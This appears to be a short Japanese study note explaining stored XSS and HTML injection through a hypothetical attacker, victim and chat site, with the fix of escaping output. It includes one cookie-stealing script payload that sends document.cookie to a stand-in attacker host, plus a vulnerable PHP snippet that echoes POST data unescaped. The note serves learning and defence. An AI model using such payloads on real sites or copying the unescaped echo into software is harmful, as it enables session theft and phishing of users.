Stored XSS
攻撃者が、攻撃対象サイトに何らかのscriptを仕込む
その後、利用者がその攻撃対象サイトにアクセスするとscriptが実行され被害を被る
具体例
登場人物
攻撃者X
被害者A
攻撃対象サイトS
http://S.com
前提
Sはチャットなどの投稿ができるサイト
チャットに入力された文字列をそのまま画面上に表示する
Sに脆弱性がある
Aは、Sの利用者
手順
1 XがSのチャットにscriptを仕込んで送信する
これでS上にscriptが仕込まれたことになる
例えば、おはよう!<script>window.location='http://XS2.com?sid='%Bdocument.cookie;</script>みたいな
2 Aが普通にSに訪問する
するとscriptが実行され、cookieがXの元へ送信されるなどする
つまり、
AはXに誘導されたわけでもなく能動的に、正規のSのサイトにアクセスしているだけ
Aが日頃から「怪しいリンクを踏まない」を心がけていたとて、日常から利用している普通のサイトSに脆弱性があった場合、アクセスした時点で被害を受ける
Sの作成者は、チャットの文字列をエスケープしてから表示するなどの対策が必要
具体例
Xが、Aに適当なリンクを踏ませてSにアクセスさせる例
Xが作った紹介ブログ内のリンクに、Sへ飛ばすリンクを貼っておく
このリンクは実はformのsubmit buttan
S上のformが、value="<?php echo @S_POST['name']; ?>">"のように、エスケープせずに初期値を表示している
このPOST値を利用するために、formで偽リンクを作っている
S上で、偽formにクレカ番号などを入力して終わり
JSを一切使っていないので、「HTMLインジェクション」的mrsekut.icon